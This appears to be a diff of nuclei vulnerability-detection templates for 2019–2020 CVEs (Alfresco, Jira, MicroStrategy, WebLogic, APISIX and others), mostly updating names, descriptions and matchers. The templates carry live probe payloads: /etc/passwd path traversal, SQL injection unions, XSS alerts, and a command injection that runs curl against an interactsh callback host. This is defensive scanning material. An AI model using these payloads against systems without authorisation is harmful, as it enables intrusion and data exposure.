@@ -26,3 +26,5 @@ requests:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13

cves/2019/CVE-2019-14223.yaml

@@ -1,14 +1,14 @@
 id: CVE-2019-14223
 
 info:
-  name: Alfresco Share Open Redirect
+  name: Alfresco Share - Open Redirect
   author: pdteam
   severity: medium
-  description: An issue was discovered in Alfresco Community Edition versions below 5.2.6, 6.0.N and 6.1.N. The Alfresco Share application is vulnerable to an Open Redirect attack via a crafted POST request. By manipulating
-    the POST parameters, an attacker can redirect a victim to a malicious website over any protocol the attacker desires (e.g.,http, https, ftp, smb, etc.).
+  description: Alfresco Share before 5.2.6, 6.0.N and 6.1.N contains an open redirect vulnerability via a crafted POST request. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://community.alfresco.com/content?filterID=all~objecttype~thread%5Bquestions%5D
     - https://github.com/DrunkenShells/Disclosures/tree/master/CVE-2019-14223-Open%20Redirect%20in%20Alfresco%20Share-Alfresco%20Community
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-14223
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -31,4 +31,6 @@ requests:
       - type: regex
         part: header
         regex:
-          - "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*)$"
+          - "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*)$"
+
+# Enhanced by md on 2022/10/13

cves/2019/CVE-2019-14530.yaml

@@ -33,7 +33,7 @@ requests:
         GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
         Host: {{Hostname}}
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     cookie-reuse: true
     matchers-condition: and

cves/2019/CVE-2019-14696.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-14696
 
 info:
-  name: Open-Scool 3.0/Community Edition 2.3 - Cross-Site Scripting
+  name: Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting
   author: pikpikcu
   severity: medium
   description: Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.
@@ -15,7 +15,7 @@ info:
     cvss-score: 6.1
     cve-id: CVE-2019-14696
     cwe-id: CWE-79
-  tags: packetstorm,cve,cve2019,xss
+  tags: xss,open-school,packetstorm,cve,cve2019
 
 requests:
   - method: GET
@@ -24,12 +24,19 @@ requests:
 
     matchers-condition: and
     matchers:
+
+      - type: word
+        part: body
+        words:
+          - '<script>alert(document.domain)</script>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - '<script>alert(document.domain)</script>'
-        part: body
 
 # Enhanced by mp on 2022/08/08

cves/2019/CVE-2019-15811.yaml

@@ -34,7 +34,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     req-condition: true
     matchers:

cves/2019/CVE-2019-16996.yaml

@@ -20,7 +20,7 @@ requests:
     path:
       - "{{BaseURL}}/admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,25367*75643,5,6,7%20limit%205,1%20%23"
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:

cves/2019/CVE-2019-16997.yaml

@@ -24,7 +24,7 @@ requests:
 
         appno= 1 union SELECT 98989*443131,1&editor=cn&site=web
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:

cves/2019/CVE-2019-17418.yaml

@@ -21,7 +21,7 @@ requests:
     path:
       - "{{BaseURL}}/admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+98989*443131,1--+&site=admin"
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:

cves/2019/CVE-2019-18957.yaml

@@ -0,0 +1,42 @@
+id: CVE-2019-18957
+
+info:
+  name: MicroStrategy Library <11.1.3 - Cross-Site Scripting
+  author: tess
+  severity: medium
+  description: |
+    MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://seclists.org/bugtraq/2019/Nov/23
+    - https://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-18957
+  remediation: The issue can be resolved by downloading and installing 1.1.3, which has the patch.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2019-18957
+    cwe-id: CWE-79
+  tags: cve2019,microstrategy,packetstorm,xss,seclists,cve
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "previousLoginMode: alert(document.domain),"
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/10/18

cves/2019/CVE-2019-19908.yaml

@@ -4,7 +4,8 @@ info:
   name: phpMyChat-Plus 1.98 - Cross-Site Scripting
   author: madrobot
   severity: medium
-  description: phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.
+  description: |
+    phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.
   reference:
     - https://cinzinga.github.io/CVE-2019-19908/
     - http://ciprianmp.com/
@@ -15,20 +16,30 @@ info:
     cvss-score: 6.1
     cve-id: CVE-2019-19908
     cwe-id: CWE-79
-  tags: cve,cve2019,xss,injection,javascript
+  metadata:
+    verified: true
+    google-dork: inurl:"/plus/pass_reset.php"
+  tags: cve,cve2019,phpMyChat,xss
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
+      - "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C"
+
     matchers-condition: and
     matchers:
+      - type: word
+        part: body
+        words:
+          - 'username = "</script><script>alert(document.domain)</script>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "<script>alert(1337)</script>"
-        part: body
 
 # Enhanced by mp on 2022/08/31

cves/2019/CVE-2019-20224.yaml

@@ -36,7 +36,7 @@ requests:
         date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{interactsh-url}}+%23&draw_button=Draw
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:

cves/2019/CVE-2019-3402.yaml

@@ -1,10 +1,11 @@
 id: CVE-2019-3402
 
 info:
-  name: Jira <8.1.1 - Cross-Site Scripting
+  name: Jira < 8.1.1 - Cross-Site Scripting
   author: pdteam
   severity: medium
-  description: Jira before 8.1.1 contains a cross-site scripting vulnerability via ConfigurePortalPages.jspa resource in the searchOwnerUserName parameter.
+  description: |
+    Jira before 8.1.1 contains a cross-site scripting vulnerability via ConfigurePortalPages.jspa resource in the searchOwnerUserName parameter.
   reference:
     - https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
     - https://jira.atlassian.com/browse/JRASERVER-69243
@@ -15,6 +16,7 @@ info:
     cve-id: CVE-2019-3402
     cwe-id: CWE-79
   metadata:
+    verified: true
     shodan-query: http.component:"Atlassian Jira"
   tags: cve,cve2019,atlassian,jira,xss
 
@@ -25,12 +27,18 @@ requests:
 
     matchers-condition: and
     matchers:
+      - type: word
+        part: body
+        words:
+          - "'<script>alert(1)</script>' does not exist"
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "<script>alert(1)</script>"
-        part: body
 
 # Enhanced by mp on 2022/08/31

cves/2019/CVE-2019-3403.yaml

@@ -15,7 +15,7 @@ info:
     cwe-id: CWE-863
   metadata:
     shodan-query: http.component:"Atlassian Jira"
-  tags: cve,cve2019,atlassian,jira
+  tags: cve,cve2019,atlassian,jira,enumeration
 
 requests:
   - method: GET
@@ -25,18 +25,18 @@ requests:
     matchers-condition: and
     matchers:
 
+      - type: word
+        words:
+          - '"users":'
+          - '"total":'
+          - '"header":'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - 'application/json'
+
       - type: status
         status:
           - 200
-
-      - type: word
-        words:
-          - 'application/json'
-        part: header
-
-      - type: word
-        words:
-          - users
-          - total
-          - header
-        condition: and

cves/2019/CVE-2019-3912.yaml

@@ -1,13 +1,14 @@
 id: CVE-2019-3912
 
 info:
-  name: LabKey Server < 18.3.0 - Open Redirect
+  name: LabKey Server Community Edition <18.3.0 - Open Redirect
   author: 0x_Akoko
   severity: medium
-  description: An open redirect vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 via the /__r1/ returnURL parameter allows an unauthenticated remote attacker to redirect users to arbitrary web sites.
+  description: LabKey Server Community Edition before 18.3.0-61806.763 contains an open redirect vulnerability via the /__r1/ returnURL parameter, which allows an attacker to redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://www.tenable.com/security/research/tra-2019-03
     - https://www.cvedetails.com/cve/CVE-2019-3912
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-3912
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -27,3 +28,5 @@ requests:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13

cves/2019/CVE-2019-7255.yaml

@@ -12,7 +12,7 @@ info:
     - https://packetstormsecurity.com/files/155253/Linear-eMerge-E3-1.00-06-Cross-Site-Scripting.html
     - https://nvd.nist.gov/vuln/detail/CVE-2019-7255
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
     cve-id: CVE-2019-7255
     cwe-id: CWE-79

cves/2019/CVE-2019-7256.yaml

@@ -11,7 +11,7 @@ info:
     - https://nvd.nist.gov/vuln/detail/CVE-2019-7256
     - https://applied-risk.com/labs/advisories
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 10
     cve-id: CVE-2019-7256
     cwe-id: CWE-78

cves/2019/CVE-2019-7275.yaml

@@ -1,17 +1,18 @@
 id: CVE-2019-7275
 
 info:
-  name: Open Redirect in Optergy Proton/Enterprise BMS
+  name: Optergy Proton/Enterprise Building Management System - Open Redirect
   author: 0x_Akoko
   severity: medium
-  description: Optergy Proton/Enterprise devices allow Open Redirect.
+  description: Optergy Proton/Enterprise Building Management System contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://packetstormsecurity.com/files/155268/Optergy-Proton-Enterprise-BMS-2.3.0a-Open-Redirect.html
     - https://applied-risk.com/resources/ar-2019-008
     - https://cxsecurity.com/issue/WLB-2019110074
     - https://applied-risk.com/labs/advisories
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-7275
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
     cve-id: CVE-2019-7275
     cwe-id: CWE-601
@@ -27,3 +28,5 @@ requests:
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
         part: header
+
+# Enhanced by md on 2022/10/13

cves/2019/CVE-2019-8086.yaml

@@ -10,6 +10,11 @@ info:
     - https://github.com/0ang3el/aem-hacker/blob/master/aem_hacker.py
     - https://nvd.nist.gov/vuln/detail/CVE-2019-8086
     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2019-8086
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2019-8086
+    cwe-id: CWE-611
   metadata:
     shodan-query:
       - http.title:"AEM Sign In"

cves/2019/CVE-2019-9915.yaml

@@ -1,15 +1,16 @@
 id: CVE-2019-9915
 
 info:
-  name: GetSimpleCMS 3.3.13 - Open Redirection
+  name: GetSimple CMS 3.3.13 - Open Redirect
   author: 0x_Akoko
   severity: medium
-  description: GetSimpleCMS 3.3.13 has an Open Redirect via the admin/index.php redirect parameter.
+  description: GetSimple CMS 3.3.13 contains an open redirect vulnerability via the admin/index.php redirect parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://www.invicti.com/web-applications-advisories/ns-18-056-open-redirection-vulnerability-in-getsimplecms
     - https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1300
     - https://www.cvedetails.com/cve/CVE-2019-9915
     - https://www.netsparker.com/web-applications-advisories/ns-18-056-open-redirection-vulnerability-in-getsimplecms/
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-9915
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -33,3 +34,5 @@ requests:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13

cves/2020/CVE-2020-11450.yaml

@@ -0,0 +1,42 @@
+id: CVE-2020-11450
+info:
+  name: Microstrategy Web 10.4 exposes the JVM configuration
+  author: tess
+  severity: high
+  description: |
+    Microstrategy Web 10.4 exposes the JVM configuration, CPU architecture,
+    installation folder, and other information through the URL /MicroStrategyWS/happyaxis.jsp.
+    An attacker could use this vulnerability to learn more about the environment the
+    application is running in. This issue has been mitigated in all versions of the
+    product 11.0 and higher.
+  reference:
+    - http://packetstormsecurity.com/files/157068/MicroStrategy-Intelligence-Server-And-Web-10.4-XSS-Disclosure-SSRF-Code-Execution.html
+    - https://nvd.nist.gov/vuln/detail/cve-2020-11450
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11450
+    - https://www.redtimmy.com/web-application-hacking/another-ssrf-another-rce-the-microstrategy-case/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2020-11450
+  tags: microstrategy,exposure,jvm,config,packetstorm,cve,cve2020
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/MicroStrategyWS/happyaxis.jsp'
+
+    redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Axis2 Happiness Page'
+          - 'Examining webapp configuration'
+          - 'Essential Components'
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-13820.yaml

@@ -1,16 +1,16 @@
 id: CVE-2020-13820
 
 info:
-  name: Extreme Management Center 8.4.1.24 - Cross Site Scripting
+  name: Extreme Management Center 8.4.1.24 - Cross-Site Scripting
   author: tess
   severity: medium
   description: |
-    Extreme Management Center 8.4.1.24 allows unauthenticated reflected XSS via a parameter in a GET request.
+    Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
   reference:
     - https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219
     - https://gtacknowledge.extremenetworks.com/articles/Solution/000051136
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-13820
     - https://gtacknowledge.extremenetworks.com
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-13820
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -43,3 +43,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by mp on 2022/10/05

cves/2020/CVE-2020-13945.yaml

@@ -1,20 +1,21 @@
 id: CVE-2020-13945
 
 info:
-  name: Apache APISIX's Admin API Default Access Token (RCE)
+  name: Apache APISIX - Insufficiently Protected Credentials
   author: pdteam
   severity: medium
-  description: In Apache APISIX, the user enabled the Admin API and deleted the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data. This affects versions 1.2, 1.3, 1.4, 1.5.
+  description: Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
   reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-13945
     - https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
     - https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
     - http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-13945
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 6.5
     cve-id: CVE-2020-13945
-  tags: rce,intrusive,vulhub,packetstorm,cve,cve2020,apache,apisix
+    cwe-id: CWE-522
+  tags: intrusive,vulhub,packetstorm,cve,cve2020,apache,apisix
 
 requests:
   - raw:
@@ -56,3 +57,5 @@ requests:
       - type: regex
         regex:
           - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
+
+# Enhanced by mp on 2022/10/06

cves/2020/CVE-2020-14179.yaml

@@ -25,8 +25,8 @@ requests:
     matchers:
       - type: word
         words:
-          - "searchers"
-          - "groups"
+          - '{"searchers":'
+          - '"groups":'
         condition: and
 
       - type: status

cves/2020/CVE-2020-14181.yaml

@@ -21,13 +21,16 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/secure/ViewUserHover.jspa"
+      - '{{BaseURL}}/secure/ViewUserHover.jspa'
 
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - "User does not exist"
+          - 'User does not exist'
+          - 'content="JIRA"'
+        condition: and
+
       - type: status
         status:
           - 200

cves/2020/CVE-2020-14750.yaml

@@ -1,13 +1,11 @@
 id: CVE-2020-14750
 
 info:
-  name: Oracle WebLogic Server - Remote Code Execution
+  name: Oracle WebLogic Server - Remote Command Execution
   author: princechaddha,DhiyaneshDk
   severity: critical
   description: |
-    This Security Alert addresses CVE-2020-14750, a remote code execution vulnerability in Oracle WebLogic Server.
-    This vulnerability is related to CVE-2020-14882, which was addressed in the October 2020 Critical Patch Update.
-    It is remotely exploitable without authentication, i.e., may be exploited over a network without the need for a username and password.
+    Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
   reference:
     - https://github.com/pprietosanchez/CVE-2020-14750
     - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
@@ -66,3 +64,5 @@ requests:
         part: body
         regex:
           - '<html><head></head><body>(.*)</body></html>'
+
+# Enhanced by mp on 2022/10/06

cves/2020/CVE-2020-15129.yaml

@@ -1,15 +1,16 @@
 id: CVE-2020-15129
 
 info:
-  name: Open-redirect in Traefik
+  name: Traefik - Open Redirect
   author: dwisiswant0
   severity: medium
-  description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios.
+  description: Traefik before 1.7.26, 2.2.8, and 2.3.0-rc3 contains an open redirect vulnerability in the X-Forwarded-Prefix header. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik
     - https://github.com/containous/traefik/releases/tag/v2.2.8
     - https://github.com/containous/traefik/pull/7109
     - https://github.com/containous/traefik/security/advisories/GHSA-6qq8-5wq3-86rp
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-15129
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 4.7
@@ -35,3 +36,5 @@ requests:
         part: body
         words:
           - "<a href=\"https://foo.nl/dashboard/\">Found</a>"
+
+# Enhanced by md on 2022/10/13

cves/2020/CVE-2020-17506.yaml

@@ -21,7 +21,7 @@ requests:
     path:
       - "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
 
-    redirects: true
+    host-redirects: true
     max-redirects: 1
     matchers-condition: and
     matchers:

cves/2020/CVE-2020-17526.yaml

@@ -1,20 +1,22 @@
 id: CVE-2020-17526
 
 info:
-  name: Apache Airflow < 1.10.14 - Authentication Bypass
+  name: Apache Airflow <1.10.14 - Authentication Bypass
   author: piyushchhiroliya
   severity: high
   description: |
-    Incorrect Session Validation in Apache Airflow Webserver versions prior to 1.10.14 with default config allows a malicious airflow user on site A where they log in normally, to access unauthorized Airflow Webserver on Site B through the session from Site A.
+    Apache Airflow prior to 1.10.14 contains an authentication bypass vulnerability via incorrect session validation with default configuration. An attacker on site A can access unauthorized Airflow on site B through the site A session.
   reference:
     - https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-17526
     - https://lists.apache.org/thread.html/rbeeb73a6c741f2f9200d83b9c2220610da314810c4e8c9cf881d47ef%40%3Cusers.airflow.apache.org%3E
     - http://www.openwall.com/lists/oss-security/2020/12/21/1
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-17526
+  remediation: Change default value for [webserver] secret_key config.
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
     cvss-score: 7.7
     cve-id: CVE-2020-17526
+    cwe-id: CWE-287
   metadata:
     fofa-query: Apache Airflow
     verified: "true"
@@ -49,3 +51,5 @@ requests:
           - "contains(body_1, 'Redirecting...')"
           - "status_code_1 == 302"
         condition: and
+
+# Enhanced by md on 2022/10/19

cves/2020/CVE-2020-18268.yaml

@@ -1,14 +1,15 @@
 id: CVE-2020-18268
 
 info:
-  name: Z-BlogPHP 1.5.2 - Open Redirect
+  name: Z-Blog <=1.5.2 - Open Redirect
   author: 0x_Akoko
   severity: medium
-  description: Open Redirect in Z-BlogPHP v1.5.2 and earlier allows remote attackers to obtain sensitive information via the "redirect" parameter in the component "zb_system/cmd.php."
+  description: Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://github.com/zblogcn/zblogphp/issues/216
     - https://www.cvedetails.com/cve/CVE-2020-18268
     - https://github.com/zblogcn/zblogphp/issues/209
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-18268
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -37,3 +38,5 @@ requests:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13

cves/2020/CVE-2020-19360.yaml

@@ -7,9 +7,9 @@ info:
   description: FHEM version 6.0 suffers from a local file inclusion vulnerability.
   reference:
     - https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability/blob/master/README.md
-    - https://www.cvedetails.com/cve/CVE-2020-19360/
     - https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability
     - https://emreovunc.com/blog/en/FHEM-v6.0-LFI-Vulnerability-01.png
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-19360
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5

cves/2020/CVE-2020-20285.yaml

@@ -1,11 +1,11 @@
 id: CVE-2020-20285
 
 info:
-  name: zzcms - Reflected XSS
+  name: ZZcms - Cross-Site Scripting
   author: edoardottt
   severity: medium
   description: |
-    There is a XSS in the user login page in zzcms 2019. Users can inject js code by the referer header via user/login.php
+    ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks.
   reference:
     - https://github.com/iohex/ZZCMS/blob/master/zzcms2019_login_xss.md
     - https://nvd.nist.gov/vuln/detail/CVE-2020-20285
@@ -41,3 +41,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2022/10/17

cves/2020/CVE-2020-20300.yaml

@@ -12,8 +12,8 @@ info:
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
-    cve-id: CVE-2020-20300
     cwe-id: CWE-89
+    cve-id: CVE-2020-20300
   metadata:
     shodan-query: http.html:"WeiPHP5.0"
     verified: "true"

cves/2020/CVE-2020-20988.yaml

@@ -35,7 +35,7 @@ requests:
 
     cookie-reuse: true
     req-condition: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers:
       - type: dsl

cves/2020/CVE-2020-22840.yaml

@@ -1,14 +1,15 @@
 id: CVE-2020-22840
 
 info:
-  name: b2evolution CMS - Open Redirect
+  name: b2evolution CMS <6.11.6 - Open Redirect
   author: geeknik
   severity: medium
-  description: Open redirect vulnerability in b2evolution CMS version prior to 6.11.6 allows an attacker to perform malicious open redirects to an attacker controlled resource via redirect_to parameter in email_passthrough.php.
+  description: b2evolution CMS before 6.11.6 contains an open redirect vulnerability via the redirect_to parameter in email_passthrough.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://github.com/b2evolution/b2evolution/issues/102
     - http://packetstormsecurity.com/files/161362/b2evolution-CMS-6.11.6-Open-Redirection.html
     - https://www.exploit-db.com/exploits/49554
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-22840
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -26,3 +27,5 @@ requests:
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
         part: header
+
+# Enhanced by md on 2022/10/13

cves/2020/CVE-2020-23015.yaml

@@ -1,13 +1,14 @@
 id: CVE-2020-23015
 
 info:
-  name: OPNsense 20.1.5. Open Redirect
+  name: OPNsense <=20.1.5 - Open Redirect
   author: 0x_Akoko
   severity: medium
-  description: An open redirect issue was discovered in OPNsense through 20.1.5. The redirect parameter "url" in login page was not filtered and can redirect user to any website.
+  description: OPNsense through 20.1.5 contains an open redirect vulnerability via the url redirect parameter in the login page, which is not filtered. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://github.com/opnsense/core/issues/4061
     - https://www.cvedetails.com/cve/CVE-2020-23015
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-23015
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -25,4 +26,6 @@ requests:
       - type: regex
         part: header
         regex:
